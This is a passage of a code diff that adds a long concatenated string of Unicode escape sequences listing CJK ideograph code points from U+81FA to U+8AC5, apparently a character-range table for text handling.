+'\x{81FA}\x{81FB}\x{81FC}\x{81FD}\x{81FE}\x{81FF}\x{8200}\x{8201}\x{8202}' .
+'\x{8203}\x{8204}\x{8205}\x{8206}\x{8207}\x{8208}\x{8209}\x{820A}\x{820B}' .
+'\x{820C}\x{820D}\x{820E}\x{820F}\x{8210}\x{8211}\x{8212}\x{8214}\x{8215}' .
+'\x{8216}\x{8218}\x{8219}\x{821A}\x{821B}\x{821C}\x{821D}\x{821E}\x{821F}' .
+'\x{8220}\x{8221}\x{8222}\x{8223}\x{8225}\x{8226}\x{8227}\x{8228}\x{8229}' .
+'\x{822A}\x{822B}\x{822C}\x{822D}\x{822F}\x{8230}\x{8231}\x{8232}\x{8233}' .
+'\x{8234}\x{8235}\x{8236}\x{8237}\x{8238}\x{8239}\x{823A}\x{823B}\x{823C}' .
+'\x{823D}\x{823E}\x{823F}\x{8240}\x{8242}\x{8243}\x{8244}\x{8245}\x{8246}' .
+'\x{8247}\x{8248}\x{8249}\x{824A}\x{824B}\x{824C}\x{824D}\x{824E}\x{824F}' .
+'\x{8250}\x{8251}\x{8252}\x{8253}\x{8254}\x{8255}\x{8256}\x{8257}\x{8258}' .
+'\x{8259}\x{825A}\x{825B}\x{825C}\x{825D}\x{825E}\x{825F}\x{8260}\x{8261}' .
+'\x{8263}\x{8264}\x{8266}\x{8267}\x{8268}\x{8269}\x{826A}\x{826B}\x{826C}' .
+'\x{826D}\x{826E}\x{826F}\x{8270}\x{8271}\x{8272}\x{8273}\x{8274}\x{8275}' .
+'\x{8276}\x{8277}\x{8278}\x{8279}\x{827A}\x{827B}\x{827C}\x{827D}\x{827E}' .
+'\x{827F}\x{8280}\x{8281}\x{8282}\x{8283}\x{8284}\x{8285}\x{8286}\x{8287}' .
+'\x{8288}\x{8289}\x{828A}\x{828B}\x{828D}\x{828E}\x{828F}\x{8290}\x{8291}' .
+'\x{8292}\x{8293}\x{8294}\x{8295}\x{8296}\x{8297}\x{8298}\x{8299}\x{829A}' .
+'\x{829B}\x{829C}\x{829D}\x{829E}\x{829F}\x{82A0}\x{82A1}\x{82A2}\x{82A3}' .
+'\x{82A4}\x{82A5}\x{82A6}\x{82A7}\x{82A8}\x{82A9}\x{82AA}\x{82AB}\x{82AC}' .
+'\x{82AD}\x{82AE}\x{82AF}\x{82B0}\x{82B1}\x{82B3}\x{82B4}\x{82B5}\x{82B6}' .
+'\x{82B7}\x{82B8}\x{82B9}\x{82BA}\x{82BB}\x{82BC}\x{82BD}\x{82BE}\x{82BF}' .
+'\x{82C0}\x{82C1}\x{82C2}\x{82C3}\x{82C4}\x{82C5}\x{82C6}\x{82C7}\x{82C8}' .
+'\x{82C9}\x{82CA}\x{82CB}\x{82CC}\x{82CD}\x{82CE}\x{82CF}\x{82D0}\x{82D1}' .
+'\x{82D2}\x{82D3}\x{82D4}\x{82D5}\x{82D6}\x{82D7}\x{82D8}\x{82D9}\x{82DA}' .
+'\x{82DB}\x{82DC}\x{82DD}\x{82DE}\x{82DF}\x{82E0}\x{82E1}\x{82E3}\x{82E4}' .
+'\x{82E5}\x{82E6}\x{82E7}\x{82E8}\x{82E9}\x{82EA}\x{82EB}\x{82EC}\x{82ED}' .
+'\x{82EE}\x{82EF}\x{82F0}\x{82F1}\x{82F2}\x{82F3}\x{82F4}\x{82F5}\x{82F6}' .
+'\x{82F7}\x{82F8}\x{82F9}\x{82FA}\x{82FB}\x{82FD}\x{82FE}\x{82FF}\x{8300}' .
+'\x{8301}\x{8302}\x{8303}\x{8304}\x{8305}\x{8306}\x{8307}\x{8308}\x{8309}' .
+'\x{830B}\x{830C}\x{830D}\x{830E}\x{830F}\x{8311}\x{8312}\x{8313}\x{8314}' .
+'\x{8315}\x{8316}\x{8317}\x{8318}\x{8319}\x{831A}\x{831B}\x{831C}\x{831D}' .
+'\x{831E}\x{831F}\x{8320}\x{8321}\x{8322}\x{8323}\x{8324}\x{8325}\x{8326}' .
+'\x{8327}\x{8328}\x{8329}\x{832A}\x{832B}\x{832C}\x{832D}\x{832E}\x{832F}' .
+'\x{8331}\x{8332}\x{8333}\x{8334}\x{8335}\x{8336}\x{8337}\x{8338}\x{8339}' .
+'\x{833A}\x{833B}\x{833C}\x{833D}\x{833E}\x{833F}\x{8340}\x{8341}\x{8342}' .
+'\x{8343}\x{8344}\x{8345}\x{8346}\x{8347}\x{8348}\x{8349}\x{834A}\x{834B}' .
+'\x{834C}\x{834D}\x{834E}\x{834F}\x{8350}\x{8351}\x{8352}\x{8353}\x{8354}' .
+'\x{8356}\x{8357}\x{8358}\x{8359}\x{835A}\x{835B}\x{835C}\x{835D}\x{835E}' .
+'\x{835F}\x{8360}\x{8361}\x{8362}\x{8363}\x{8364}\x{8365}\x{8366}\x{8367}' .
+'\x{8368}\x{8369}\x{836A}\x{836B}\x{836C}\x{836D}\x{836E}\x{836F}\x{8370}' .
+'\x{8371}\x{8372}\x{8373}\x{8374}\x{8375}\x{8376}\x{8377}\x{8378}\x{8379}' .
+'\x{837A}\x{837B}\x{837C}\x{837D}\x{837E}\x{837F}\x{8380}\x{8381}\x{8382}' .
+'\x{8383}\x{8384}\x{8385}\x{8386}\x{8387}\x{8388}\x{8389}\x{838A}\x{838B}' .
+'\x{838C}\x{838D}\x{838E}\x{838F}\x{8390}\x{8391}\x{8392}\x{8393}\x{8394}' .
+'\x{8395}\x{8396}\x{8397}\x{8398}\x{8399}\x{839A}\x{839B}\x{839C}\x{839D}' .
+'\x{839E}\x{83A0}\x{83A1}\x{83A2}\x{83A3}\x{83A4}\x{83A5}\x{83A6}\x{83A7}' .
+'\x{83A8}\x{83A9}\x{83AA}\x{83AB}\x{83AC}\x{83AD}\x{83AE}\x{83AF}\x{83B0}' .
+'\x{83B1}\x{83B2}\x{83B3}\x{83B4}\x{83B6}\x{83B7}\x{83B8}\x{83B9}\x{83BA}' .
+'\x{83BB}\x{83BC}\x{83BD}\x{83BF}\x{83C0}\x{83C1}\x{83C2}\x{83C3}\x{83C4}' .
+'\x{83C5}\x{83C6}\x{83C7}\x{83C8}\x{83C9}\x{83CA}\x{83CB}\x{83CC}\x{83CD}' .
+'\x{83CE}\x{83CF}\x{83D0}\x{83D1}\x{83D2}\x{83D3}\x{83D4}\x{83D5}\x{83D6}' .
+'\x{83D7}\x{83D8}\x{83D9}\x{83DA}\x{83DB}\x{83DC}\x{83DD}\x{83DE}\x{83DF}' .
+'\x{83E0}\x{83E1}\x{83E2}\x{83E3}\x{83E4}\x{83E5}\x{83E7}\x{83E8}\x{83E9}' .
+'\x{83EA}\x{83EB}\x{83EC}\x{83EE}\x{83EF}\x{83F0}\x{83F1}\x{83F2}\x{83F3}' .
+'\x{83F4}\x{83F5}\x{83F6}\x{83F7}\x{83F8}\x{83F9}\x{83FA}\x{83FB}\x{83FC}' .
+'\x{83FD}\x{83FE}\x{83FF}\x{8400}\x{8401}\x{8402}\x{8403}\x{8404}\x{8405}' .
+'\x{8406}\x{8407}\x{8408}\x{8409}\x{840A}\x{840B}\x{840C}\x{840D}\x{840E}' .
+'\x{840F}\x{8410}\x{8411}\x{8412}\x{8413}\x{8415}\x{8418}\x{8419}\x{841A}' .
+'\x{841B}\x{841C}\x{841D}\x{841E}\x{8421}\x{8422}\x{8423}\x{8424}\x{8425}' .
+'\x{8426}\x{8427}\x{8428}\x{8429}\x{842A}\x{842B}\x{842C}\x{842D}\x{842E}' .
+'\x{842F}\x{8430}\x{8431}\x{8432}\x{8433}\x{8434}\x{8435}\x{8436}\x{8437}' .
+'\x{8438}\x{8439}\x{843A}\x{843B}\x{843C}\x{843D}\x{843E}\x{843F}\x{8440}' .
+'\x{8441}\x{8442}\x{8443}\x{8444}\x{8445}\x{8446}\x{8447}\x{8448}\x{8449}' .
+'\x{844A}\x{844B}\x{844C}\x{844D}\x{844E}\x{844F}\x{8450}\x{8451}\x{8452}' .
+'\x{8453}\x{8454}\x{8455}\x{8456}\x{8457}\x{8459}\x{845A}\x{845B}\x{845C}' .
+'\x{845D}\x{845E}\x{845F}\x{8460}\x{8461}\x{8462}\x{8463}\x{8464}\x{8465}' .
+'\x{8466}\x{8467}\x{8468}\x{8469}\x{846A}\x{846B}\x{846C}\x{846D}\x{846E}' .
+'\x{846F}\x{8470}\x{8471}\x{8472}\x{8473}\x{8474}\x{8475}\x{8476}\x{8477}' .
+'\x{8478}\x{8479}\x{847A}\x{847B}\x{847C}\x{847D}\x{847E}\x{847F}\x{8480}' .
+'\x{8481}\x{8482}\x{8484}\x{8485}\x{8486}\x{8487}\x{8488}\x{8489}\x{848A}' .
+'\x{848B}\x{848C}\x{848D}\x{848E}\x{848F}\x{8490}\x{8491}\x{8492}\x{8493}' .
+'\x{8494}\x{8496}\x{8497}\x{8498}\x{8499}\x{849A}\x{849B}\x{849C}\x{849D}' .
+'\x{849E}\x{849F}\x{84A0}\x{84A1}\x{84A2}\x{84A3}\x{84A4}\x{84A5}\x{84A6}' .
+'\x{84A7}\x{84A8}\x{84A9}\x{84AA}\x{84AB}\x{84AC}\x{84AE}\x{84AF}\x{84B0}' .
+'\x{84B1}\x{84B2}\x{84B3}\x{84B4}\x{84B5}\x{84B6}\x{84B8}\x{84B9}\x{84BA}' .
+'\x{84BB}\x{84BC}\x{84BD}\x{84BE}\x{84BF}\x{84C0}\x{84C1}\x{84C2}\x{84C4}' .
+'\x{84C5}\x{84C6}\x{84C7}\x{84C8}\x{84C9}\x{84CA}\x{84CB}\x{84CC}\x{84CD}' .
+'\x{84CE}\x{84CF}\x{84D0}\x{84D1}\x{84D2}\x{84D3}\x{84D4}\x{84D5}\x{84D6}' .
+'\x{84D7}\x{84D8}\x{84D9}\x{84DB}\x{84DC}\x{84DD}\x{84DE}\x{84DF}\x{84E0}' .
+'\x{84E1}\x{84E2}\x{84E3}\x{84E4}\x{84E5}\x{84E6}\x{84E7}\x{84E8}\x{84E9}' .
+'\x{84EA}\x{84EB}\x{84EC}\x{84EE}\x{84EF}\x{84F0}\x{84F1}\x{84F2}\x{84F3}' .
+'\x{84F4}\x{84F5}\x{84F6}\x{84F7}\x{84F8}\x{84F9}\x{84FA}\x{84FB}\x{84FC}' .
+'\x{84FD}\x{84FE}\x{84FF}\x{8500}\x{8501}\x{8502}\x{8503}\x{8504}\x{8506}' .
+'\x{8507}\x{8508}\x{8509}\x{850A}\x{850B}\x{850C}\x{850D}\x{850E}\x{850F}' .
+'\x{8511}\x{8512}\x{8513}\x{8514}\x{8515}\x{8516}\x{8517}\x{8518}\x{8519}' .
+'\x{851A}\x{851B}\x{851C}\x{851D}\x{851E}\x{851F}\x{8520}\x{8521}\x{8522}' .
+'\x{8523}\x{8524}\x{8525}\x{8526}\x{8527}\x{8528}\x{8529}\x{852A}\x{852B}' .
+'\x{852C}\x{852D}\x{852E}\x{852F}\x{8530}\x{8531}\x{8534}\x{8535}\x{8536}' .
+'\x{8537}\x{8538}\x{8539}\x{853A}\x{853B}\x{853C}\x{853D}\x{853E}\x{853F}' .
+'\x{8540}\x{8541}\x{8542}\x{8543}\x{8544}\x{8545}\x{8546}\x{8547}\x{8548}' .
+'\x{8549}\x{854A}\x{854B}\x{854D}\x{854E}\x{854F}\x{8551}\x{8552}\x{8553}' .
+'\x{8554}\x{8555}\x{8556}\x{8557}\x{8558}\x{8559}\x{855A}\x{855B}\x{855C}' .
+'\x{855D}\x{855E}\x{855F}\x{8560}\x{8561}\x{8562}\x{8563}\x{8564}\x{8565}' .
+'\x{8566}\x{8567}\x{8568}\x{8569}\x{856A}\x{856B}\x{856C}\x{856D}\x{856E}' .
+'\x{856F}\x{8570}\x{8571}\x{8572}\x{8573}\x{8574}\x{8575}\x{8576}\x{8577}' .
+'\x{8578}\x{8579}\x{857A}\x{857B}\x{857C}\x{857D}\x{857E}\x{8580}\x{8581}' .
+'\x{8582}\x{8583}\x{8584}\x{8585}\x{8586}\x{8587}\x{8588}\x{8589}\x{858A}' .
+'\x{858B}\x{858C}\x{858D}\x{858E}\x{858F}\x{8590}\x{8591}\x{8592}\x{8594}' .
+'\x{8595}\x{8596}\x{8598}\x{8599}\x{859A}\x{859B}\x{859C}\x{859D}\x{859E}' .
+'\x{859F}\x{85A0}\x{85A1}\x{85A2}\x{85A3}\x{85A4}\x{85A5}\x{85A6}\x{85A7}' .
+'\x{85A8}\x{85A9}\x{85AA}\x{85AB}\x{85AC}\x{85AD}\x{85AE}\x{85AF}\x{85B0}' .
+'\x{85B1}\x{85B3}\x{85B4}\x{85B5}\x{85B6}\x{85B7}\x{85B8}\x{85B9}\x{85BA}' .
+'\x{85BC}\x{85BD}\x{85BE}\x{85BF}\x{85C0}\x{85C1}\x{85C2}\x{85C3}\x{85C4}' .
+'\x{85C5}\x{85C6}\x{85C7}\x{85C8}\x{85C9}\x{85CA}\x{85CB}\x{85CD}\x{85CE}' .
+'\x{85CF}\x{85D0}\x{85D1}\x{85D2}\x{85D3}\x{85D4}\x{85D5}\x{85D6}\x{85D7}' .
+'\x{85D8}\x{85D9}\x{85DA}\x{85DB}\x{85DC}\x{85DD}\x{85DE}\x{85DF}\x{85E0}' .
+'\x{85E1}\x{85E2}\x{85E3}\x{85E4}\x{85E5}\x{85E6}\x{85E7}\x{85E8}\x{85E9}' .
+'\x{85EA}\x{85EB}\x{85EC}\x{85ED}\x{85EF}\x{85F0}\x{85F1}\x{85F2}\x{85F4}' .
+'\x{85F5}\x{85F6}\x{85F7}\x{85F8}\x{85F9}\x{85FA}\x{85FB}\x{85FD}\x{85FE}' .
+'\x{85FF}\x{8600}\x{8601}\x{8602}\x{8604}\x{8605}\x{8606}\x{8607}\x{8608}' .
+'\x{8609}\x{860A}\x{860B}\x{860C}\x{860F}\x{8611}\x{8612}\x{8613}\x{8614}' .
+'\x{8616}\x{8617}\x{8618}\x{8619}\x{861A}\x{861B}\x{861C}\x{861E}\x{861F}' .
+'\x{8620}\x{8621}\x{8622}\x{8623}\x{8624}\x{8625}\x{8626}\x{8627}\x{8628}' .
+'\x{8629}\x{862A}\x{862B}\x{862C}\x{862D}\x{862E}\x{862F}\x{8630}\x{8631}' .
+'\x{8632}\x{8633}\x{8634}\x{8635}\x{8636}\x{8638}\x{8639}\x{863A}\x{863B}' .
+'\x{863C}\x{863D}\x{863E}\x{863F}\x{8640}\x{8641}\x{8642}\x{8643}\x{8644}' .
+'\x{8645}\x{8646}\x{8647}\x{8648}\x{8649}\x{864A}\x{864B}\x{864C}\x{864D}' .
+'\x{864E}\x{864F}\x{8650}\x{8651}\x{8652}\x{8653}\x{8654}\x{8655}\x{8656}' .
+'\x{8658}\x{8659}\x{865A}\x{865B}\x{865C}\x{865D}\x{865E}\x{865F}\x{8660}' .
+'\x{8661}\x{8662}\x{8663}\x{8664}\x{8665}\x{8666}\x{8667}\x{8668}\x{8669}' .
+'\x{866A}\x{866B}\x{866C}\x{866D}\x{866E}\x{866F}\x{8670}\x{8671}\x{8672}' .
+'\x{8673}\x{8674}\x{8676}\x{8677}\x{8678}\x{8679}\x{867A}\x{867B}\x{867C}' .
+'\x{867D}\x{867E}\x{867F}\x{8680}\x{8681}\x{8682}\x{8683}\x{8684}\x{8685}' .
+'\x{8686}\x{8687}\x{8688}\x{868A}\x{868B}\x{868C}\x{868D}\x{868E}\x{868F}' .
+'\x{8690}\x{8691}\x{8693}\x{8694}\x{8695}\x{8696}\x{8697}\x{8698}\x{8699}' .
+'\x{869A}\x{869B}\x{869C}\x{869D}\x{869E}\x{869F}\x{86A1}\x{86A2}\x{86A3}' .
+'\x{86A4}\x{86A5}\x{86A7}\x{86A8}\x{86A9}\x{86AA}\x{86AB}\x{86AC}\x{86AD}' .
+'\x{86AE}\x{86AF}\x{86B0}\x{86B1}\x{86B2}\x{86B3}\x{86B4}\x{86B5}\x{86B6}' .
+'\x{86B7}\x{86B8}\x{86B9}\x{86BA}\x{86BB}\x{86BC}\x{86BD}\x{86BE}\x{86BF}' .
+'\x{86C0}\x{86C1}\x{86C2}\x{86C3}\x{86C4}\x{86C5}\x{86C6}\x{86C7}\x{86C8}' .
+'\x{86C9}\x{86CA}\x{86CB}\x{86CC}\x{86CE}\x{86CF}\x{86D0}\x{86D1}\x{86D2}' .
+'\x{86D3}\x{86D4}\x{86D6}\x{86D7}\x{86D8}\x{86D9}\x{86DA}\x{86DB}\x{86DC}' .
+'\x{86DD}\x{86DE}\x{86DF}\x{86E1}\x{86E2}\x{86E3}\x{86E4}\x{86E5}\x{86E6}' .
+'\x{86E8}\x{86E9}\x{86EA}\x{86EB}\x{86EC}\x{86ED}\x{86EE}\x{86EF}\x{86F0}' .
+'\x{86F1}\x{86F2}\x{86F3}\x{86F4}\x{86F5}\x{86F6}\x{86F7}\x{86F8}\x{86F9}' .
+'\x{86FA}\x{86FB}\x{86FC}\x{86FE}\x{86FF}\x{8700}\x{8701}\x{8702}\x{8703}' .
+'\x{8704}\x{8705}\x{8706}\x{8707}\x{8708}\x{8709}\x{870A}\x{870B}\x{870C}' .
+'\x{870D}\x{870E}\x{870F}\x{8710}\x{8711}\x{8712}\x{8713}\x{8714}\x{8715}' .
+'\x{8716}\x{8717}\x{8718}\x{8719}\x{871A}\x{871B}\x{871C}\x{871E}\x{871F}' .
+'\x{8720}\x{8721}\x{8722}\x{8723}\x{8724}\x{8725}\x{8726}\x{8727}\x{8728}' .
+'\x{8729}\x{872A}\x{872B}\x{872C}\x{872D}\x{872E}\x{8730}\x{8731}\x{8732}' .
+'\x{8733}\x{8734}\x{8735}\x{8736}\x{8737}\x{8738}\x{8739}\x{873A}\x{873B}' .
+'\x{873C}\x{873E}\x{873F}\x{8740}\x{8741}\x{8742}\x{8743}\x{8744}\x{8746}' .
+'\x{8747}\x{8748}\x{8749}\x{874A}\x{874C}\x{874D}\x{874E}\x{874F}\x{8750}' .
+'\x{8751}\x{8752}\x{8753}\x{8754}\x{8755}\x{8756}\x{8757}\x{8758}\x{8759}' .
+'\x{875A}\x{875B}\x{875C}\x{875D}\x{875E}\x{875F}\x{8760}\x{8761}\x{8762}' .
+'\x{8763}\x{8764}\x{8765}\x{8766}\x{8767}\x{8768}\x{8769}\x{876A}\x{876B}' .
+'\x{876C}\x{876D}\x{876E}\x{876F}\x{8770}\x{8772}\x{8773}\x{8774}\x{8775}' .
+'\x{8776}\x{8777}\x{8778}\x{8779}\x{877A}\x{877B}\x{877C}\x{877D}\x{877E}' .
+'\x{8780}\x{8781}\x{8782}\x{8783}\x{8784}\x{8785}\x{8786}\x{8787}\x{8788}' .
+'\x{8789}\x{878A}\x{878B}\x{878C}\x{878D}\x{878F}\x{8790}\x{8791}\x{8792}' .
+'\x{8793}\x{8794}\x{8795}\x{8796}\x{8797}\x{8798}\x{879A}\x{879B}\x{879C}' .
+'\x{879D}\x{879E}\x{879F}\x{87A0}\x{87A1}\x{87A2}\x{87A3}\x{87A4}\x{87A5}' .
+'\x{87A6}\x{87A7}\x{87A8}\x{87A9}\x{87AA}\x{87AB}\x{87AC}\x{87AD}\x{87AE}' .
+'\x{87AF}\x{87B0}\x{87B1}\x{87B2}\x{87B3}\x{87B4}\x{87B5}\x{87B6}\x{87B7}' .
+'\x{87B8}\x{87B9}\x{87BA}\x{87BB}\x{87BC}\x{87BD}\x{87BE}\x{87BF}\x{87C0}' .
+'\x{87C1}\x{87C2}\x{87C3}\x{87C4}\x{87C5}\x{87C6}\x{87C7}\x{87C8}\x{87C9}' .
+'\x{87CA}\x{87CB}\x{87CC}\x{87CD}\x{87CE}\x{87CF}\x{87D0}\x{87D1}\x{87D2}' .
+'\x{87D3}\x{87D4}\x{87D5}\x{87D6}\x{87D7}\x{87D8}\x{87D9}\x{87DB}\x{87DC}' .
+'\x{87DD}\x{87DE}\x{87DF}\x{87E0}\x{87E1}\x{87E2}\x{87E3}\x{87E4}\x{87E5}' .
+'\x{87E6}\x{87E7}\x{87E8}\x{87E9}\x{87EA}\x{87EB}\x{87EC}\x{87ED}\x{87EE}' .
+'\x{87EF}\x{87F1}\x{87F2}\x{87F3}\x{87F4}\x{87F5}\x{87F6}\x{87F7}\x{87F8}' .
+'\x{87F9}\x{87FA}\x{87FB}\x{87FC}\x{87FD}\x{87FE}\x{87FF}\x{8800}\x{8801}' .
+'\x{8802}\x{8803}\x{8804}\x{8805}\x{8806}\x{8808}\x{8809}\x{880A}\x{880B}' .
+'\x{880C}\x{880D}\x{880E}\x{880F}\x{8810}\x{8811}\x{8813}\x{8814}\x{8815}' .
+'\x{8816}\x{8817}\x{8818}\x{8819}\x{881A}\x{881B}\x{881C}\x{881D}\x{881E}' .
+'\x{881F}\x{8820}\x{8821}\x{8822}\x{8823}\x{8824}\x{8825}\x{8826}\x{8827}' .
+'\x{8828}\x{8829}\x{882A}\x{882B}\x{882C}\x{882E}\x{882F}\x{8830}\x{8831}' .
+'\x{8832}\x{8833}\x{8834}\x{8835}\x{8836}\x{8837}\x{8838}\x{8839}\x{883B}' .
+'\x{883C}\x{883D}\x{883E}\x{883F}\x{8840}\x{8841}\x{8842}\x{8843}\x{8844}' .
+'\x{8845}\x{8846}\x{8848}\x{8849}\x{884A}\x{884B}\x{884C}\x{884D}\x{884E}' .
+'\x{884F}\x{8850}\x{8851}\x{8852}\x{8853}\x{8854}\x{8855}\x{8856}\x{8857}' .
+'\x{8859}\x{885A}\x{885B}\x{885D}\x{885E}\x{8860}\x{8861}\x{8862}\x{8863}' .
+'\x{8864}\x{8865}\x{8866}\x{8867}\x{8868}\x{8869}\x{886A}\x{886B}\x{886C}' .
+'\x{886D}\x{886E}\x{886F}\x{8870}\x{8871}\x{8872}\x{8873}\x{8874}\x{8875}' .
+'\x{8876}\x{8877}\x{8878}\x{8879}\x{887B}\x{887C}\x{887D}\x{887E}\x{887F}' .
+'\x{8880}\x{8881}\x{8882}\x{8883}\x{8884}\x{8885}\x{8886}\x{8887}\x{8888}' .
+'\x{8889}\x{888A}\x{888B}\x{888C}\x{888D}\x{888E}\x{888F}\x{8890}\x{8891}' .
+'\x{8892}\x{8893}\x{8894}\x{8895}\x{8896}\x{8897}\x{8898}\x{8899}\x{889A}' .
+'\x{889B}\x{889C}\x{889D}\x{889E}\x{889F}\x{88A0}\x{88A1}\x{88A2}\x{88A3}' .
+'\x{88A4}\x{88A5}\x{88A6}\x{88A7}\x{88A8}\x{88A9}\x{88AA}\x{88AB}\x{88AC}' .
+'\x{88AD}\x{88AE}\x{88AF}\x{88B0}\x{88B1}\x{88B2}\x{88B3}\x{88B4}\x{88B6}' .
+'\x{88B7}\x{88B8}\x{88B9}\x{88BA}\x{88BB}\x{88BC}\x{88BD}\x{88BE}\x{88BF}' .
+'\x{88C0}\x{88C1}\x{88C2}\x{88C3}\x{88C4}\x{88C5}\x{88C6}\x{88C7}\x{88C8}' .
+'\x{88C9}\x{88CA}\x{88CB}\x{88CC}\x{88CD}\x{88CE}\x{88CF}\x{88D0}\x{88D1}' .
+'\x{88D2}\x{88D3}\x{88D4}\x{88D5}\x{88D6}\x{88D7}\x{88D8}\x{88D9}\x{88DA}' .
+'\x{88DB}\x{88DC}\x{88DD}\x{88DE}\x{88DF}\x{88E0}\x{88E1}\x{88E2}\x{88E3}' .
+'\x{88E4}\x{88E5}\x{88E7}\x{88E8}\x{88EA}\x{88EB}\x{88EC}\x{88EE}\x{88EF}' .
+'\x{88F0}\x{88F1}\x{88F2}\x{88F3}\x{88F4}\x{88F5}\x{88F6}\x{88F7}\x{88F8}' .
+'\x{88F9}\x{88FA}\x{88FB}\x{88FC}\x{88FD}\x{88FE}\x{88FF}\x{8900}\x{8901}' .
+'\x{8902}\x{8904}\x{8905}\x{8906}\x{8907}\x{8908}\x{8909}\x{890A}\x{890B}' .
+'\x{890C}\x{890D}\x{890E}\x{8910}\x{8911}\x{8912}\x{8913}\x{8914}\x{8915}' .
+'\x{8916}\x{8917}\x{8918}\x{8919}\x{891A}\x{891B}\x{891C}\x{891D}\x{891E}' .
+'\x{891F}\x{8920}\x{8921}\x{8922}\x{8923}\x{8925}\x{8926}\x{8927}\x{8928}' .
+'\x{8929}\x{892A}\x{892B}\x{892C}\x{892D}\x{892E}\x{892F}\x{8930}\x{8931}' .
+'\x{8932}\x{8933}\x{8934}\x{8935}\x{8936}\x{8937}\x{8938}\x{8939}\x{893A}' .
+'\x{893B}\x{893C}\x{893D}\x{893E}\x{893F}\x{8940}\x{8941}\x{8942}\x{8943}' .
+'\x{8944}\x{8945}\x{8946}\x{8947}\x{8948}\x{8949}\x{894A}\x{894B}\x{894C}' .
+'\x{894E}\x{894F}\x{8950}\x{8951}\x{8952}\x{8953}\x{8954}\x{8955}\x{8956}' .
+'\x{8957}\x{8958}\x{8959}\x{895A}\x{895B}\x{895C}\x{895D}\x{895E}\x{895F}' .
+'\x{8960}\x{8961}\x{8962}\x{8963}\x{8964}\x{8966}\x{8967}\x{8968}\x{8969}' .
+'\x{896A}\x{896B}\x{896C}\x{896D}\x{896E}\x{896F}\x{8970}\x{8971}\x{8972}' .
+'\x{8973}\x{8974}\x{8976}\x{8977}\x{8978}\x{8979}\x{897A}\x{897B}\x{897C}' .
+'\x{897E}\x{897F}\x{8980}\x{8981}\x{8982}\x{8983}\x{8984}\x{8985}\x{8986}' .
+'\x{8987}\x{8988}\x{8989}\x{898A}\x{898B}\x{898C}\x{898E}\x{898F}\x{8991}' .
+'\x{8992}\x{8993}\x{8995}\x{8996}\x{8997}\x{8998}\x{899A}\x{899B}\x{899C}' .
+'\x{899D}\x{899E}\x{899F}\x{89A0}\x{89A1}\x{89A2}\x{89A3}\x{89A4}\x{89A5}' .
+'\x{89A6}\x{89A7}\x{89A8}\x{89AA}\x{89AB}\x{89AC}\x{89AD}\x{89AE}\x{89AF}' .
+'\x{89B1}\x{89B2}\x{89B3}\x{89B5}\x{89B6}\x{89B7}\x{89B8}\x{89B9}\x{89BA}' .
+'\x{89BD}\x{89BE}\x{89BF}\x{89C0}\x{89C1}\x{89C2}\x{89C3}\x{89C4}\x{89C5}' .
+'\x{89C6}\x{89C7}\x{89C8}\x{89C9}\x{89CA}\x{89CB}\x{89CC}\x{89CD}\x{89CE}' .
+'\x{89CF}\x{89D0}\x{89D1}\x{89D2}\x{89D3}\x{89D4}\x{89D5}\x{89D6}\x{89D7}' .
+'\x{89D8}\x{89D9}\x{89DA}\x{89DB}\x{89DC}\x{89DD}\x{89DE}\x{89DF}\x{89E0}' .
+'\x{89E1}\x{89E2}\x{89E3}\x{89E4}\x{89E5}\x{89E6}\x{89E7}\x{89E8}\x{89E9}' .
+'\x{89EA}\x{89EB}\x{89EC}\x{89ED}\x{89EF}\x{89F0}\x{89F1}\x{89F2}\x{89F3}' .
+'\x{89F4}\x{89F6}\x{89F7}\x{89F8}\x{89FA}\x{89FB}\x{89FC}\x{89FE}\x{89FF}' .
+'\x{8A00}\x{8A01}\x{8A02}\x{8A03}\x{8A04}\x{8A07}\x{8A08}\x{8A09}\x{8A0A}' .
+'\x{8A0B}\x{8A0C}\x{8A0D}\x{8A0E}\x{8A0F}\x{8A10}\x{8A11}\x{8A12}\x{8A13}' .
+'\x{8A15}\x{8A16}\x{8A17}\x{8A18}\x{8A1A}\x{8A1B}\x{8A1C}\x{8A1D}\x{8A1E}' .
+'\x{8A1F}\x{8A22}\x{8A23}\x{8A24}\x{8A25}\x{8A26}\x{8A27}\x{8A28}\x{8A29}' .
+'\x{8A2A}\x{8A2C}\x{8A2D}\x{8A2E}\x{8A2F}\x{8A30}\x{8A31}\x{8A32}\x{8A34}' .
+'\x{8A35}\x{8A36}\x{8A37}\x{8A38}\x{8A39}\x{8A3A}\x{8A3B}\x{8A3C}\x{8A3E}' .
+'\x{8A3F}\x{8A40}\x{8A41}\x{8A42}\x{8A43}\x{8A44}\x{8A45}\x{8A46}\x{8A47}' .
+'\x{8A48}\x{8A49}\x{8A4A}\x{8A4C}\x{8A4D}\x{8A4E}\x{8A4F}\x{8A50}\x{8A51}' .
+'\x{8A52}\x{8A53}\x{8A54}\x{8A55}\x{8A56}\x{8A57}\x{8A58}\x{8A59}\x{8A5A}' .
+'\x{8A5B}\x{8A5C}\x{8A5D}\x{8A5E}\x{8A5F}\x{8A60}\x{8A61}\x{8A62}\x{8A63}' .
+'\x{8A65}\x{8A66}\x{8A67}\x{8A68}\x{8A69}\x{8A6A}\x{8A6B}\x{8A6C}\x{8A6D}' .
+'\x{8A6E}\x{8A6F}\x{8A70}\x{8A71}\x{8A72}\x{8A73}\x{8A74}\x{8A75}\x{8A76}' .
+'\x{8A77}\x{8A79}\x{8A7A}\x{8A7B}\x{8A7C}\x{8A7E}\x{8A7F}\x{8A80}\x{8A81}' .
+'\x{8A82}\x{8A83}\x{8A84}\x{8A85}\x{8A86}\x{8A87}\x{8A89}\x{8A8A}\x{8A8B}' .
+'\x{8A8C}\x{8A8D}\x{8A8E}\x{8A8F}\x{8A90}\x{8A91}\x{8A92}\x{8A93}\x{8A94}' .
+'\x{8A95}\x{8A96}\x{8A97}\x{8A98}\x{8A99}\x{8A9A}\x{8A9B}\x{8A9C}\x{8A9D}' .
+'\x{8A9E}\x{8AA0}\x{8AA1}\x{8AA2}\x{8AA3}\x{8AA4}\x{8AA5}\x{8AA6}\x{8AA7}' .
+'\x{8AA8}\x{8AA9}\x{8AAA}\x{8AAB}\x{8AAC}\x{8AAE}\x{8AB0}\x{8AB1}\x{8AB2}' .
+'\x{8AB3}\x{8AB4}\x{8AB5}\x{8AB6}\x{8AB8}\x{8AB9}\x{8ABA}\x{8ABB}\x{8ABC}' .
+'\x{8ABD}\x{8ABE}\x{8ABF}\x{8AC0}\x{8AC1}\x{8AC2}\x{8AC3}\x{8AC4}\x{8AC5}' .
